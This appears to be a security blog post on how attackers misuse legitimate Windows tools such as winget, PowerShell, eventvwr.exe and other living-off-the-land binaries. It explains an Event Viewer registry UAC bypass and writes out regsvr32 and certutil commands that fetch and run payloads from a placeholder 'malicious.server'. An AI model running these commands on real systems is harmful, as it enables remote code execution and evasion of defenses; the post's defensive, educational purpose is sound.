In today’s digital age, the tools we trust and use daily can sometimes be turned against us. A recent discovery in the cybersecurity realm has brought to light the potential misuse of a seemingly harmless tool: Microsoft’s winget, the Windows Package Manager. In this blog post, we’ll delve deep into the implications of this finding and what it means for everyday users and professionals alike.

1. The Double-Edged Sword of Legitimate Tools

In the vast landscape of software tools, many are designed with the best of intentions: to simplify tasks, enhance productivity, or offer new capabilities. However, the very features that make these tools powerful can also make them vulnerable to exploitation. This is particularly true for tools that have extensive system access or can execute commands.

Example: PowerShell is a prime example of a legitimate tool that can be misused. Originally designed as a task automation and configuration management framework, PowerShell provides full access to COM and WMI, allowing administrators to perform administrative tasks on both local and remote Windows systems. However, its powerful scripting capabilities can be weaponized. Attackers can use PowerShell scripts to run malicious code, move laterally across networks, or exfiltrate data, all while leaving minimal traces.

Technical Deep Dive: When an attacker uses PowerShell, they often employ “obfuscated” scripts. These are scripts where the code is intentionally made complex to evade detection. Techniques like string concatenation, base64 encoding, and the use of alternative command names can hide the true intent of the script. For instance, instead of directly calling a suspicious function, an attacker might store parts of its name in different variables and then concatenate them at runtime.

2. Slipping Past the Gatekeeper: Bypassing UAC

User Account Control (UAC) is a fundamental security feature in Windows, designed to prevent unauthorized changes by prompting the user for permission. However, certain tools and techniques can bypass this protective measure, allowing malicious actions to proceed undetected.

Example: The eventvwr.exe method is a well-known technique to bypass UAC. The Event Viewer (eventvwr.exe) is a Microsoft Management Console (MMC) snap-in that allows users to view and monitor system events. However, when it’s launched, it checks the registry for associated extensions. An attacker can modify this registry to point to a malicious executable. When eventvwr.exe is run, it inadvertently executes the attacker’s payload with elevated privileges, bypassing UAC.

Technical Deep Dive: The crux of the eventvwr.exe UAC bypass lies in the way it interacts with the Windows Registry. Specifically, it queries the HKCU\Software\Classes\mscfile\shell\open\command registry key to determine what to execute. By default, this key doesn’t exist. However, if an attacker creates it and sets its value to a malicious executable, eventvwr.exe will execute that instead of its intended target. This allows the attacker’s code to run with elevated privileges without any UAC prompt, granting them higher access to the system.

In the context of winget, the concern is similar. If winget can be manipulated to execute commands or install software without UAC intervention, it provides a potential avenue for attackers to introduce malware or make system changes without the user’s knowledge. The key takeaway is that while UAC is a valuable security measure, it’s not infallible. Awareness of potential bypass techniques and continuous system monitoring are essential for robust security.

3. Knowledge is Power: The Importance of Awareness

The silver lining in this revelation is that by bringing such vulnerabilities to light, we can better defend against them. When the cybersecurity community is aware of potential threats, it paves the way for the development of countermeasures and preventive strategies. It’s a testament to the importance of open-source research and the collaborative nature of the cybersecurity world.

4. The Ever-Evolving World of Cybersecurity

This recent finding in the winget tool underscores a broader theme in cybersecurity: the landscape is always changing. As systems and software evolve, so do the vulnerabilities and threats associated with them. It’s a continuous game of cat and mouse, emphasizing the need for ongoing research and vigilance.

5. LOLBINs: Not Just a Funny Acronym

Living Off The Land Binaries (LOLBINs) represent a unique challenge in the realm of cybersecurity. These are legitimate tools or binaries that, while designed for benign purposes, can be repurposed for malicious activities. The very nature of LOLBINs – their legitimacy – often allows them to evade traditional security measures, making them a favored technique among sophisticated adversaries.


  1. Regsvr32: This is a command-line utility that allows users to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry. However, attackers can misuse it to execute arbitrary code. By pointing regsvr32 to a remotely hosted script, they can bypass application whitelisting defenses and execute malicious scripts.
  2. Certutil: Originally designed for dumping and displaying certification authority (CA) configuration information, certutil can also be used to download files from the internet. Attackers can leverage this feature to fetch malicious payloads onto a victim machine.
  3. Msbuild: A build tool for Microsoft and .NET applications. While its primary purpose is to process XML project files, it can also be used to compile and execute malicious code on the fly, evading detection mechanisms that focus on pre-compiled binaries.

Technical Deep Dive and TTPs (Tactics, Techniques, and Procedures):

  1. Regsvr32:
    • Tactic: Execution, Defense EvasionTechnique: Using regsvr32, attackers can load and execute malicious payloads via COM scriptlets (SCT files).Procedure: An attacker might use the following command to execute a remotely hosted scriptlet:bash Copy coderegsvr32 /s /n /u /i:http://malicious.server/payload.sct scrobj.dll
    This command fetches the scriptlet from the remote server and executes it without dropping a file on the disk, making detection more challenging.
  2. Certutil:
    • Tactic: Initial Access, Defense Evasion
    • Technique: Attackers use certutil to download malicious files, disguising their activity as a benign process.
    • Procedure: To download a file from a remote server, an attacker might use:bashCopy codecertutil -urlcache -split -f http://malicious.server/payload.exe payload.exe
    This downloads the malicious payload.exe from the remote server and saves it to the current directory.
  3. Msbuild:
    • Tactic: Execution, Defense EvasionTechnique: Instead of directly executing a malicious binary, attackers can use msbuild to compile and run code on the victim machine.Procedure: Given an XML project file (malicious.proj) containing malicious code, an attacker can execute it using:Copy codemsbuild malicious.proj
    This compiles and runs the code defined in the project file, potentially evading defenses that monitor for known malicious binaries.

LOLBINs present a paradigm shift in how we approach security. Traditional defenses that rely on blacklisting known malicious binaries or monitoring for specific malicious behaviors can be rendered ineffective against LOLBIN-based attacks. The key to defending against such threats lies in understanding the normal behavior of these binaries and monitoring for anomalies. Additionally, employing application whitelisting and restricting the use of certain binaries to only those who need them can further reduce the risk associated with LOLBINs.

6. A Word of Caution to Users

For the everyday user, this discovery serves as a reminder to exercise caution. Granting permissions should never be done lightly. Even tools that come from trusted sources, like Microsoft’s winget, can have unintended security consequences if not handled with care.


The potential misuse of winget serves as a stark reminder of the complexities of cybersecurity. While tools and technologies advance, so do the tactics of those with malicious intent. By staying informed and practicing caution, we can navigate the digital world with confidence and security. Remember, in the realm of cybersecurity, knowledge truly is our greatest weapon.

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